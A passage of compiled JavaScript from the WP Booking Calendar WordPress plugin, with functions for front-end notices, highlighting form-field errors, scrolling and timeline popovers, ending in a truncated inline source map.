typeof( response_data[ 'ajx_data' ][ 'ajx_after_action_message_status' ] ) ) * ? response_data[ 'ajx_data' ][ 'ajx_after_action_message_status' ] : 'info', * 'show_here': {'jq_node': jq_node, 'where': 'after'}, * 'css_class':'wpbc_fe_message_alt', * 'delay' : 10000 * } ); * * * @returns string - HTML ID or 0 if not showing during this time. */ function wpbc_front_end__show_message(message) { var params = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; var params_default = { 'type': 'warning', // 'error' | 'warning' | 'info' | 'success' 'show_here': { 'jq_node': '', // any jQuery node definition 'where': 'inside' // 'inside' | 'before' | 'after' | 'right' | 'left' }, 'is_append': true, // Apply only if 'where' : 'inside' 'style': 'text-align:left;', // styles, if needed 'css_class': '', // For example can be: 'wpbc_fe_message_alt' 'delay': 0, // how many microsecond to show, if 0 then show forever 'if_visible_not_show': false, // if true, then do not show message, if previos message was not hided (not apply if 'where' : 'inside' ) 'is_scroll': true // is scroll to this element }; for (var p_key in params) { params_default[p_key] = params[p_key]; } params = params_default; var unique_div_id = new Date(); unique_div_id = 'wpbc_notice_' + unique_div_id.getTime(); params['css_class'] += ' wpbc_fe_message'; if (params['type'] == 'error') { params['css_class'] += ' wpbc_fe_message_error'; message = '<i class="menu_icon icon-1x wpbc_icn_report_gmailerrorred"></i>' + message; } if (params['type'] == 'warning') { params['css_class'] += ' wpbc_fe_message_warning'; message = '<i class="menu_icon icon-1x wpbc_icn_warning"></i>' + message; } if (params['type'] == 'info') { params['css_class'] += ' wpbc_fe_message_info'; } if (params['type'] == 'success') { params['css_class'] += ' wpbc_fe_message_success'; message = '<i class="menu_icon icon-1x wpbc_icn_done_outline"></i>' + message; } var scroll_to_element = '<div id="' + unique_div_id + '_scroll" style="display:none;"></div>'; message = '<div id="' + unique_div_id + '" class="wpbc_front_end__message ' + params['css_class'] + '" style="' + params['style'] + '">' + message + '</div>'; var jq_el_message = false; var is_show_message = true; if ('inside' === params['show_here']['where']) { if (params['is_append']) { jQuery(params['show_here']['jq_node']).append(scroll_to_element); jQuery(params['show_here']['jq_node']).append(message); } else { jQuery(params['show_here']['jq_node']).html(scroll_to_element + message); } } else if ('before' === params['show_here']['where']) { jq_el_message = jQuery(params['show_here']['jq_node']).siblings('[id^="wpbc_notice_"]'); if (params['if_visible_not_show'] && jq_el_message.is(':visible')) { is_show_message = false; unique_div_id = jQuery(jq_el_message.get(0)).attr('id'); } if (is_show_message) { jQuery(params['show_here']['jq_node']).before(scroll_to_element); jQuery(params['show_here']['jq_node']).before(message); } } else if ('after' === params['show_here']['where']) { jq_el_message = jQuery(params['show_here']['jq_node']).nextAll('[id^="wpbc_notice_"]'); if (params['if_visible_not_show'] && jq_el_message.is(':visible')) { is_show_message = false; unique_div_id = jQuery(jq_el_message.get(0)).attr('id'); } if (is_show_message) { jQuery(params['show_here']['jq_node']).before(scroll_to_element); // We need to set here before(for handy scroll) jQuery(params['show_here']['jq_node']).after(message); } } else if ('right' === params['show_here']['where']) { jq_el_message = jQuery(params['show_here']['jq_node']).nextAll('.wpbc_front_end__message_container_right').find('[id^="wpbc_notice_"]'); if (params['if_visible_not_show'] && jq_el_message.is(':visible')) { is_show_message = false; unique_div_id = jQuery(jq_el_message.get(0)).attr('id'); } if (is_show_message) { jQuery(params['show_here']['jq_node']).before(scroll_to_element); // We need to set here before(for handy scroll) jQuery(params['show_here']['jq_node']).after('<div class="wpbc_front_end__message_container_right">' + message + '</div>'); } } else if ('left' === params['show_here']['where']) { jq_el_message = jQuery(params['show_here']['jq_node']).siblings('.wpbc_front_end__message_container_left').find('[id^="wpbc_notice_"]'); if (params['if_visible_not_show'] && jq_el_message.is(':visible')) { is_show_message = false; unique_div_id = jQuery(jq_el_message.get(0)).attr('id'); } if (is_show_message) { jQuery(params['show_here']['jq_node']).before(scroll_to_element); // We need to set here before(for handy scroll) jQuery(params['show_here']['jq_node']).before('<div class="wpbc_front_end__message_container_left">' + message + '</div>'); } } if (is_show_message && parseInt(params['delay']) > 0) { var closed_timer = setTimeout(function () { jQuery('#' + unique_div_id).fadeOut(1500); }, parseInt(params['delay'])); var closed_timer2 = setTimeout(function () { jQuery('#' + unique_div_id).trigger('hide'); }, parseInt(params['delay']) + 1501); } // Check if showed message in some hidden parent section and show it. But it must be lower than '.wpbc_container' var parent_els = jQuery('#' + unique_div_id).parents().map(function () { if (!jQuery(this).is('visible') && jQuery('.wpbc_container').has(this)) { jQuery(this).show(); } }); if (params['is_scroll']) { wpbc_do_scroll('#' + unique_div_id + '_scroll'); } return unique_div_id; } /** * Error message. Preset of parameters for real message function. * * @param el - any jQuery node definition * @param message - Message HTML * @returns string - HTML ID or 0 if not showing during this time. */ function wpbc_front_end__show_message__error(jq_node, message) { var notice_message_id = wpbc_front_end__show_message(message, { 'type': 'error', 'delay': 10000, 'if_visible_not_show': true, 'show_here': { 'where': 'right', 'jq_node': jq_node } }); return notice_message_id; } /** * Error message UNDER element. Preset of parameters for real message function. * * @param el - any jQuery node definition * @param message - Message HTML * @returns string - HTML ID or 0 if not showing during this time. */ function wpbc_front_end__show_message__error_under_element(jq_node, message, message_delay) { if ('undefined' === typeof message_delay) { message_delay = 0; } var notice_message_id = wpbc_front_end__show_message(message, { 'type': 'error', 'delay': message_delay, 'if_visible_not_show': true, 'show_here': { 'where': 'after', 'jq_node': jq_node } }); return notice_message_id; } /** * Error message UNDER element. Preset of parameters for real message function. * * @param el - any jQuery node definition * @param message - Message HTML * @returns string - HTML ID or 0 if not showing during this time. */ function wpbc_front_end__show_message__error_above_element(jq_node, message, message_delay) { if ('undefined' === typeof message_delay) { message_delay = 10000; } var notice_message_id = wpbc_front_end__show_message(message, { 'type': 'error', 'delay': message_delay, 'if_visible_not_show': true, 'show_here': { 'where': 'before', 'jq_node': jq_node } }); return notice_message_id; } /** * Warning message. Preset of parameters for real message function. * * @param el - any jQuery node definition * @param message - Message HTML * @returns string - HTML ID or 0 if not showing during this time. */ function wpbc_front_end__show_message__warning(jq_node, message) { var notice_message_id = wpbc_front_end__show_message(message, { 'type': 'warning', 'delay': 10000, 'if_visible_not_show': true, 'show_here': { 'where': 'right', 'jq_node': jq_node } }); wpbc_highlight_error_on_form_field(jq_node); return notice_message_id; } /** * Warning message UNDER element. Preset of parameters for real message function. * * @param el - any jQuery node definition * @param message - Message HTML * @returns string - HTML ID or 0 if not showing during this time. */ function wpbc_front_end__show_message__warning_under_element(jq_node, message) { var notice_message_id = wpbc_front_end__show_message(message, { 'type': 'warning', 'delay': 10000, 'if_visible_not_show': true, 'show_here': { 'where': 'after', 'jq_node': jq_node } }); return notice_message_id; } /** * Warning message ABOVE element. Preset of parameters for real message function. * * @param el - any jQuery node definition * @param message - Message HTML * @returns string - HTML ID or 0 if not showing during this time. */ function wpbc_front_end__show_message__warning_above_element(jq_node, message) { var notice_message_id = wpbc_front_end__show_message(message, { 'type': 'warning', 'delay': 10000, 'if_visible_not_show': true, 'show_here': { 'where': 'before', 'jq_node': jq_node } }); return notice_message_id; } /** * Highlight Error in specific field * * @param jq_node string or jQuery element, where scroll to */ function wpbc_highlight_error_on_form_field(jq_node) { if (!jQuery(jq_node).length) { return; } if (!jQuery(jq_node).is(':input')) { // Situation with checkboxes or radio buttons var jq_node_arr = jQuery(jq_node).find(':input'); if (!jq_node_arr.length) { return; } jq_node = jq_node_arr.get(0); } var params = {}; params['delay'] = 10000; if (!jQuery(jq_node).hasClass('wpbc_form_field_error')) { jQuery(jq_node).addClass('wpbc_form_field_error'); if (parseInt(params['delay']) > 0) { var closed_timer = setTimeout(function () { jQuery(jq_node).removeClass('wpbc_form_field_error'); }, parseInt(params['delay'])); } } } /** * Scroll to specific element * * @param jq_node string or jQuery element, where scroll to * @param extra_shift_offset int shift offset from jq_node */ function wpbc_do_scroll(jq_node) { var extra_shift_offset = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0; if (!jQuery(jq_node).length) { return; } var targetOffset = jQuery(jq_node).offset().top; if (targetOffset <= 0) { if (0 != jQuery(jq_node).nextAll(':visible').length) { targetOffset = jQuery(jq_node).nextAll(':visible').first().offset().top; } else if (0 != jQuery(jq_node).parent().nextAll(':visible').length) { targetOffset = jQuery(jq_node).parent().nextAll(':visible').first().offset().top; } } if (jQuery('#wpadminbar').length > 0) { targetOffset = targetOffset - 50 - 50; } else { targetOffset = targetOffset - 20 - 50; } targetOffset += extra_shift_offset; // Scroll only if we did not scroll before if (!jQuery('html,body').is(':animated')) { jQuery('html,body').animate({ scrollTop: targetOffset }, 500); } } //FixIn: 10.2.0.4 /** * Define Popovers for Timelines in WP Booking Calendar * * @returns {string|boolean} */ function wpbc_define_tippy_popover() { if ('function' !== typeof wpbc_tippy) { console.log('WPBC Error. wpbc_tippy was not defined.'); return false; } wpbc_tippy('.popover_bottom.popover_click', { content: function content(reference) { var popover_title = reference.getAttribute('data-original-title'); var popover_content = reference.getAttribute('data-content'); return '<div class="popover popover_tippy">' + '<div class="popover-close"><a href="javascript:void(0)" onclick="javascript:this.parentElement.parentElement.parentElement.parentElement.parentElement._tippy.hide();" >×</a></div>' + popover_content + '</div>'; }, allowHTML: true, trigger: 'manual', interactive: true, hideOnClick: false, interactiveBorder: 10, maxWidth: 550, theme: 'wpbc-tippy-popover', placement: 'bottom-start', touch: ['hold', 500] }); jQuery('.popover_bottom.popover_click').on('click', function () { if (this._tippy.state.isVisible) { this._tippy.hide(); } else { this._tippy.show(); } }); wpbc_define_hide_tippy_on_scroll(); } function wpbc_define_hide_tippy_on_scroll() { jQuery('.flex_tl__scrolling_section2,.flex_tl__scrolling_sections').on('scroll', function (event) { if ('function' === typeof wpbc_tippy) { wpbc_tippy.hideAll(); } }); } //# sourceMappingURL=data:application/json;charset=utf8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIndwYmNfdXRpbHMuanMiLCJ3cGJjLmpzIiwiYWp4X2xvYWRfYmFsYW5jZXIuanMiLCJ3cGJjX2NhbC5qcyIsImRheXNfc2VsZWN0X2N1c3RvbS5qcyIsIndwYmNfY2FsX2FqeC5qcyIsIndwYmNfZmVfbWVzc2FnZXMuanMiLCJ0aW1lbGluZV9wb3BvdmVyLmpzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiI7OztBQUFBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7O0FBRUE7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsU0FBQSxTQUFBLENBQUEsY0FBQSxFQUFBO0VBRUEsSUFBQSxLQUFBLENBQUEsT0FBQSxDQUFBLGNBQUEsQ0FBQSxFQUFBO0lBQ0EsY0FBQSxHQUFBLGNBQUEsQ0FBQSxJQUFBLENBQUEsR0FBQSxDQUFBO0VBQ0E7RUFFQSxJQUFBLFFBQUEsSUFBQSxPQUFBLGNBQUEsRUFBQTtJQUNBLGNBQUEsR0FBQSxjQUFBLENBQUEsSUFBQSxDQUFBLENBQUE7RUFDQTtFQUVBLE9BQUEsY0FBQTtBQUNBOztBQUVBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsU0FBQSxhQUFBLENBQUEsVUFBQSxFQUFBLEtBQUEsRUFBQTtFQUNBLEtBQUEsSUFBQSxDQUFBLEdBQUEsQ0FBQSxFQUFBLENBQUEsR0FBQSxVQUFBLENBQUEsTUFBQSxFQUFBLENBQUEsR0FBQSxDQUFBLEVBQUEsQ0FBQSxFQUFBLEVBQUE7SUFDQSxJQUFBLFVBQUEsQ0FBQSxDQUFBLENBQUEsSUFBQSxLQUFBLEVBQUE7TUFDQSxPQUFBLElBQUE7SUFDQTtFQUNBO0VBQ0EsT0FBQSxLQUFBO0FBQ0E7QUN2Q0EsWUFBQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7O0FBRUE7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsU0FBQSxjQUFBLENBQUEsR0FBQSxFQUFBO0VBRUEsT0FBQSxJQUFBLENBQUEsS0FBQSxDQUFBLElBQUEsQ0FBQSxTQUFBLENBQUEsR0FBQSxDQUFBLENBQUE7QUFDQTs7QUFJQTtBQUNBO0FBQ0E7O0FBRUEsSUFBQSxLQUFBLEdBQUEsVUFBQSxHQUFBLEVBQUEsQ0FBQSxFQUFBO0VBRUE7RUFDQSxJQUFBLFFBQUEsR0FBQSxHQUFBLENBQUEsWUFBQSxHQUFBLEdBQUEsQ0FBQSxZQUFBLElBQUE7SUFDQSxPQUFBLEVBQUEsQ0FBQTtJQUNBLEtBQUEsRUFBQSxFQUFBO0lBQ0EsTUFBQSxFQUFBO0VBQ0EsQ0FBQTtFQUNBLEdBQUEsQ0FBQSxnQkFBQSxHQUFBLFVBQUEsU0FBQSxFQUFBLFNBQUEsRUFBQTtJQUNBLFFBQUEsQ0FBQSxTQUFBLENBQUEsR0FBQSxTQUFBO0VBQ0EsQ0FBQTtFQUVBLEdBQUEsQ0FBQSxnQkFBQSxHQUFBLFVBQUEsU0FBQSxFQUFBO0lBQ0EsT0FBQSxRQUFBLENBQUEsU0FBQSxDQUFBO0VBQ0EsQ0FBQTs7RUFHQTtFQUNBLElBQUEsV0FBQSxHQUFBLEdBQUEsQ0FBQSxhQUFBLEdBQUEsR0FBQSxDQUFBLGFBQUEsSUFBQTtJQUNBO0lBQ0E7SUFDQTtJQUNBO0lBQ0E7SUFDQTtJQUNBO0VBQUEsQ0FDQTs7RUFFQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7RUFDQSxHQUFBLENBQUEsb0JBQUEsR0FBQSxVQUFBLFdBQUEsRUFBQTtJQUVBLE9BQUEsV0FBQSxLQUFBLE9BQUEsV0FBQSxDQUFBLFdBQUEsR0FBQSxXQUFBLENBQUE7RUFDQSxDQUFBOztFQUVBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7RUFDQSxHQUFBLENBQUEsY0FBQSxHQUFBLFVBQUEsV0FBQSxFQUFBO0lBRUEsV0FBQSxDQUFBLFdBQUEsR0FBQSxXQUFBLENBQUEsR0FBQSxDQUFBLENBQUE7SUFDQSxXQUFBLENBQUEsV0FBQSxHQUFBLFdBQUEsQ0FBQSxDQUFBLElBQUEsQ0FBQSxHQUFBLFdBQUE7SUFDQSxXQUFBLENBQUEsV0FBQSxHQUFBLFdBQUEsQ0FBQSxDQUFBLHlCQUFBLENBQUEsR0FBQSxLQUFBO0VBRUEsQ0FBQTs7RUFFQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0VBQ0EsR0FBQSxDQUFBLHFCQUFBLEdBQUEsVUFBQSxhQUFBLEVBQUE7SUFBQTs7SUFFQSxJQUFBLHlCQUFBLEdBQUEsQ0FBQSxtQkFBQSxFQUFBLG1CQUFBLEVBQUEsaUJBQUEsQ0FBQTtJQUVBLElBQUEsVUFBQSxHQUFBLHlCQUFBLENBQUEsUUFBQSxDQUFBLGFBQUEsQ0FBQTtJQUVBLE9BQUEsVUFBQTtFQUNBLENBQUE7O0VBR0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0VBQ0EsR0FBQSxDQUFBLGtCQUFBLEdBQUEsVUFBQSxhQUFBLEVBQUE7SUFDQSxXQUFBLEdBQUEsYUFBQTtFQUNBLENBQUE7O0VBRUE7QUFDQTtBQUNBO0FBQ0E7QUFDQTtFQUNBLEdBQUEsQ0FBQSxrQkFBQSxHQUFBLFlBQUE7SUFDQSxPQUFBLFdBQUE7RUFDQSxDQUFBOztFQUVBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtFQUNBLEdBQUEsQ0FBQSx3QkFBQSxHQUFBLFVBQUEsV0FBQSxFQUFBO0lBRUEsSUFBQSxHQUFBLENBQUEsb0JBQUEsQ0FBQSxXQUFBLENBQUEsRUFBQTtNQUVBLE9BQUEsV0FBQSxDQUFBLFdBQUEsR0FBQSxXQUFBLENBQUE7SUFDQSxDQUFBLE1BQUE7TUFDQSxPQUFBLEtBQUE7SUFDQTtFQUNBLENBQUE7O0VBRUE7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7RUFDQSxHQUFBLENBQUEsd0JBQUEsR0FBQSxVQUFBLFdBQUEsRUFBQSxxQkFBQSxFQUFBO0lBQUEsSUFBQSxxQkFBQSxHQUFBLFNBQUEsQ0FBQSxNQUFBLFFBQUEsU0FBQSxRQUFBLFNBQUEsR0FBQSxTQUFBLE1BQUEsS0FBQTtJQUVBLElBQUEsQ0FBQSxHQUFBLENBQUEsb0JBQUEsQ0FBQSxXQUFBLENBQUEsSUFBQSxJQUFBLEtBQUEscUJBQUEsRUFBQTtNQUNBLEdBQUEsQ0FBQSxjQUFBLENBQUEsV0FBQSxDQUFBO0lBQ0E7SUFFQSxLQUFBLElBQUEsU0FBQSxJQUFBLHFCQUFBLEVBQUE7TUFFQSxXQUFBLENBQUEsV0FBQSxHQUFBLFdBQUEsQ0FBQSxDQUFBLFNBQUEsQ0FBQSxHQUFBLHFCQUFBLENBQUEsU0FBQSxDQUFBO0lBQ0E7SUFFQSxPQUFBLFdBQUEsQ0FBQSxXQUFBLEdBQUEsV0FBQSxDQUFBO0VBQ0EsQ0FBQTs7RUFFQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtFQUNBLEdBQUEsQ0FBQSx5QkFBQSxHQUFBLFVBQUEsV0FBQSxFQUFBLFNBQUEsRUFBQSxVQUFBLEVBQUE7SUFFQSxJQUFBLENBQUEsR0FBQSxDQUFBLG9CQUFBLENBQUEsV0FBQSxDQUFBLEVBQUE7TUFDQSxHQUFBLENBQUEsY0FBQSxDQUFBLFdBQUEsQ0FBQTtJQUNBO0lBRUEsV0FBQSxDQUFBLFdBQUEsR0FBQSxXQUFBLENBQUEsQ0FBQSxTQUFBLENBQUEsR0FBQSxVQUFBO0lBRUEsT0FBQSxXQUFBLENBQUEsV0FBQSxHQUFBLFdBQUEsQ0FBQTtFQUNBLENBQUE7O0VBRUE7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7RUFDQSxHQUFBLENBQUEseUJBQUEsR0FBQSxVQUFBLFdBQUEsRUFBQSxTQUFBLEVBQUE7SUFFQSxJQUNBLEdBQUEsQ0FBQSxvQkFBQSxDQUFBLFdBQUEsQ0FBQSxJQUNBLFdBQUEsS0FBQSxPQUFBLFdBQUEsQ0FBQSxXQUFBLEdBQUEsV0FBQSxDQUFBLENBQUEsU0FBQSxDQUFBLEVBQ0E7TUFDQTtNQUNBLElBQUEsR0FBQSxDQUFBLHFCQUFBLENBQUEsU0FBQSxDQUFBLEVBQUE7UUFDQSxXQUFBLENBQUEsV0FBQSxHQUFBLFdBQUEsQ0FBQSxDQUFBLFNBQUEsQ0FBQSxHQUFBLFFBQUEsQ0FBQSxXQUFBLENBQUEsV0FBQSxHQUFBLFdBQUEsQ0FBQSxDQUFBLFNBQUEsQ0FBQSxDQUFBO01BQ0E7TUFDQSxPQUFBLFdBQUEsQ0FBQSxXQUFBLEdBQUEsV0FBQSxDQUFBLENBQUEsU0FBQSxDQUFBO0lBQ0E7SUFFQSxPQUFBLElBQUEsQ0FBQSxDQUFBO0VBQ0EsQ0FBQTtFQUNBOztFQUdBO0VBQ0EsSUFBQSxVQUFBLEdBQUEsR0FBQSxDQUFBLFlBQUEsR0FBQSxHQUFBLENBQUEsWUFBQSxJQUFBO0lBQ0E7SUFDQTtJQUNBO0lBQ0E7RUFBQSxDQUNBOztFQUVBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtFQUNBLEdBQUEsQ0FBQSxnQ0FBQSxHQUFBLFVBQUEsV0FBQSxFQUFBO0lBRUEsT0FBQSxXQUFBLEtBQUEsT0FBQSxVQUFBLENBQUEsV0FBQSxHQUFBLFdBQUEsQ0FBQTtFQUNBLENBQUE7O0VBRUE7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0VBQ0EsR0FBQSxDQUFBLHlCQUFBLEdBQUEsVUFBQSxXQUFBLEVBQUE7SUFFQSxJQUFBLEdBQUEsQ0FBQSxnQ0FBQSxDQUFBLFdBQUEsQ0FBQSxFQUFBO01BRUEsT0FBQSxVQUFBLENBQUEsV0FBQSxHQUFBLFdBQUEsQ0FBQTtJQUNBLENBQUEsTUFBQTtNQUNBLE9BQUEsS0FBQTtJQUNBO0VBQ0EsQ0FBQTs7RUFFQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7RUFDQSxHQUFBLENBQUEseUJBQUEsR0FBQSxVQUFBLFdBQUEsRUFBQSxZQUFBLEVBQUE7SUFFQSxJQUFBLENBQUEsR0FBQSxDQUFBLGdDQUFBLENBQUEsV0FBQSxDQUFBLEVBQUE7TUFDQSxVQUFBLENBQUEsV0FBQSxHQUFBLFdBQUEsQ0FBQSxHQUFBLENBQUEsQ0FBQTtNQUNBLFVBQUEsQ0FBQSxXQUFBLEdBQUEsV0FBQSxDQUFBLENBQUEsSUFBQSxDQUFBLEdBQUEsV0FBQTtJQUNBO0lBRUEsS0FBQSxJQUFBLFNBQUEsSUFBQSxZQUFBLEVBQUE7TUFFQSxVQUFBLENBQUEsV0FBQSxHQUFBLFdBQUEsQ0FBQSxDQUFBLFNBQUEsQ0FBQSxHQUFBLFlBQUEsQ0FBQSxTQUFBLENBQUE7SUFDQTtJQUVBLE9BQUEsVUFBQSxDQUFBLFdBQUEsR0FBQSxXQUFBLENBQUE7RUFDQSxDQUFBOztFQUVBOztFQUVBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7RUFDQSxHQUFBLENBQUEsK0JBQUEsR0FBQSxVQUFBLFdBQUEsRUFBQTtJQUVBLElBQ0EsR0FBQSxDQUFBLGdDQUFBLENBQUEsV0FBQSxDQUFBLElBQ0EsV0FBQSxLQUFBLE9BQUEsVUFBQSxDQUFBLFdBQUEsR0FBQSxXQUFBLENBQUEsQ0FBQSxPQUFBLENBQUEsRUFDQTtNQUNBLE9BQUEsVUFBQSxDQUFBLFdBQUEsR0FBQSxXQUFBLENBQUEsQ0FBQSxPQUFBLENBQUE7SUFDQTtJQUVBLE9BQUEsS0FBQSxDQUFBLENBQUE7RUFDQSxDQUFBOztFQUVBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0VBQ0EsR0FBQSxDQUFBLCtCQUFBLEdBQUEsVUFBQSxXQUFBLEVBQUEsU0FBQSxFQUFBO0lBQUEsSUFBQSxxQkFBQSxHQUFBLFNBQUEsQ0FBQSxNQUFBLFFBQUEsU0FBQSxRQUFBLFNBQUEsR0FBQSxTQUFBLE1BQUEsSUFBQTtJQUVBLElBQUEsQ0FBQSxHQUFBLENBQUEsZ0NBQUEsQ0FBQSxXQUFBLENBQUEsRUFBQTtNQUNBLEdBQUEsQ0FBQSx5QkFBQSxDQUFBLFdBQUEsRUFBQTtRQUFBLE9BQUEsRUFBQSxDQUFBO01BQUEsQ0FBQSxDQUFBO0lBQ0E7SUFFQSxJQUFBLFdBQUEsS0FBQSxPQUFBLFVBQUEsQ0FBQSxXQUFBLEdBQUEsV0FBQSxDQUFBLENBQUEsT0FBQSxDQUFBLEVBQUE7TUFDQSxVQUFBLENBQUEsV0FBQSxHQUFBLFdBQUEsQ0FBQSxDQUFBLE9BQUEsQ0FBQSxHQUFBLENBQUEsQ0FBQTtJQUNBO0lBRUEsSUFBQSxxQkFBQSxFQUFBO01BRUE7TUFDQSxVQUFBLENBQUEsV0FBQSxHQUFBLFdBQUEsQ0FBQSxDQUFBLE9BQUEsQ0FBQSxHQUFBLFNBQUE7SUFDQSxDQUFBLE1BQUE7TUFFQTtNQUNBLEtBQUEsSUFBQSxTQUFBLElBQUEsU0FBQSxFQUFBO1FBRUEsVUFBQSxDQUFBLFdBQUEsR0FBQSxXQUFBLENBQUEsQ0FBQSxPQUFBLENBQUEsQ0FBQSxTQUFBLENBQUEsR0FBQSxTQUFBLENBQUEsU0FBQSxDQUFBO01BQ0E7SUFDQTtJQUVBLE9BQUEsVUFBQSxDQUFBLFdBQUEsR0FBQSxXQUFBLENBQUE7RUFDQSxDQUFBOztFQUdBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7RUFDQSxHQUFBLENBQUEsa0NBQUEsR0FBQSxVQUFBLFdBQUEsRUFBQSxhQUFBLEVBQUE7SUFFQSxJQUNBLEdBQUEsQ0FBQSxnQ0FBQSxDQUFBLFdBQUEsQ0FBQSxJQUNBLFdBQUEsS0FBQSxPQUFBLFVBQUEsQ0FBQSxXQUFBLEdBQUEsV0FBQSxDQUFBLENBQUEsT0FBQSxDQUFBLElBQ0EsV0FBQSxLQUFBLE9BQUEsVUFBQSxDQUFBLFdBQUEsR0FBQSxXQUFBLENBQUEsQ0FBQSxPQUFBLENBQUEsQ0FBQSxhQUFBLENBQUEsRUFDQTtNQUNBLE9BQUEsVUFBQSxDQUFBLFdBQUEsR0FBQSxXQUFBLENBQUEsQ0FBQSxPQUFBLENBQUEsQ0FBQSxhQUFBLENBQUE7SUFDQTtJQUVBLE9BQUEsS0FBQSxDQUFBLENBQUE7RUFDQSxDQUFBOztFQUdBOztFQUVBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0VBQ0EsR0FBQSxDQUFBLHdCQUFBLEdBQUEsVUFBQSxXQUFBLEVBQUEsU0FBQSxFQUFBLFVBQUEsRUFBQTtJQUVBLElBQUEsQ0FBQSxHQUFBLENBQUEsZ0NBQUEsQ0FBQSxXQUFBLENBQUEsRUFBQTtNQUNBLFVBQUEsQ0FBQSxXQUFBLEdBQUEsV0FBQSxDQUFBLEdBQUEsQ0FBQSxDQUFBO01BQ0EsVUFBQSxDQUFBLFdBQUEsR0FBQSxXQUFBLENBQUEsQ0FBQSxJQUFBLENBQUEsR0FBQSxXQUFBO0lBQ0E7SUFFQSxVQUFBLENBQUEsV0FBQSxHQUFBLFdBQUEsQ0FBQSxDQUFBLFNBQUEsQ0FBQSxHQUFBLFVBQUE7SUFFQSxPQUFBLFVBQUEsQ0FBQSxXQUFBLEdBQUEsV0FBQSxDQUFBO0VBQ0EsQ0FBQTs7RUFFQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtFQUNBLEdBQUEsQ0FBQSx3QkFBQSxHQUFBLFVBQUEsV0FBQSxFQUFBLFNBQUEsRUFBQTtJQUVBLElBQ0EsR0FBQSxDQUFBLGdDQUFBLENBQUEsV0FBQSxDQUFBLElBQ0EsV0FBQSxLQUFBLE9BQUEsVUFBQSxDQUFBLFdBQUEsR0FBQSxXQUFBLENBQUEsQ0FBQSxTQUFBLENBQUEsRUFDQTtNQUNBLE9BQUEsVUFBQSxDQUFBLFdBQUEsR0FBQSxXQUFBLENBQUEsQ0FBQSxTQUFBLENBQUE7SUFDQTtJQUVBLE9BQUEsSUFBQSxDQUFBLENBQUE7RUFDQSxDQUFBOztFQUtBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtFQUNBLEdBQUEsQ0FBQSw4QkFBQSxHQUFBLFVBQUEsYUFBQSxFQUFBO0lBQ0EsVUFBQSxHQUFBLGFBQUE7RUFDQSxDQUFBOztFQUVBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7RUFDQSxHQUFBLENBQUEsOEJBQUEsR0FBQSxZQUFBO0lBQ0EsT0FBQSxVQUFBO0VBQ0EsQ0FBQTtFQUNBOztFQUtBO0VBQ0EsSUFBQSxTQUFBLEdBQUEsR0FBQSxDQUFBLFdBQUEsR0FBQSxHQUFBLENBQUEsV0FBQSxJQUFBO0lBQ0E7SUFDQTtJQUNBO0lBQ0E7RUFBQSxDQUNBOztFQUVBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtFQUNBLEdBQUEsQ0FBQSxZQUFBLEdBQUEsVUFBQSxXQUFBLEVBQUEsU0FBQSxFQUFBO0lBQUEsSUFBQSxxQkFBQSxHQUFBLFNBQUEsQ0FBQSxNQUFBLFFBQUEsU0FBQSxRQUFBLFNBQUEsR0FBQSxTQUFBLE1BQUEsS0FBQTtJQUVBLElBQUEsV0FBQSxLQUFBLE9BQUEsU0FBQSxDQUFBLFdBQUEsR0FBQSxXQUFBLENBQUEsRUFBQTtNQUNBLFNBQUEsQ0FBQSxXQUFBLEdBQUEsV0FBQSxDQUFBLEdBQUEsQ0FBQSxDQUFBO0lBQ0E7SUFFQSxJQUFBLHFCQUFBLEVBQUE7TUFFQTtNQUNBLFNBQUEsQ0FBQSxXQUFBLEdBQUEsV0FBQSxDQUFBLEdBQUEsU0FBQTtJQUVBLENBQUEsTUFBQTtNQUVBO01BQ0EsS0FBQSxJQUFBLFNBQUEsSUFBQSxTQUFBLEVBQUE7UUFFQSxJQUFBLFdBQUEsS0FBQSxPQUFBLFNBQUEsQ0FBQSxXQUFBLEdBQUEsV0FBQSxDQUFBLENBQUEsU0FBQSxDQUFBLEVBQUE7VUFDQSxTQUFBLENBQUEsV0FB